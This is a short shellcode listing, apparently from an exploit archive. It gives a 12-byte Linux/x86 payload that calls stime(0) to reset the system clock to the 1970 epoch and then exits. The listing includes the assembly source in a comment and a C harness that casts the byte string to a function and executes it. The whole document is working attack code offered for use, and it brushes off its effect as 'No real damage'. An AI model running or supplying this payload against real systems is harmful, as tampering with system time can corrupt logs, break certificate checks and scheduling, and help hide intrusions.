This shellcode sets the system time to 0 (00:00:00 GMT Jan 1, 1970) and exits in 12 bytes for Linux/x86.
671894154a3f23262ce22704ba3555cc5472af0a6360c70f0489e3ecc1686d9f
/* By Kris Katterjohn 11/18/2006
*
* 12 byte shellcode to set system time to 0 and exit. No real damage :)
*
* exit() code is the last 5 bytes (0x6a - 0x80)
*
* for Linux/x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* ; stime([0])
*
* push byte 25
* pop eax
* cdq
* push edx
* mov ebx, esp
* int 0x80
*
* ; exit()
*
* inc eax
* int 0x80
*/
main()
{
char shellcode[] = "\x6a\x19\x58\x99\x52\x89\xe3\xcd\x80\x40\xcd\x80";
(*(void (*)()) shellcode)();
}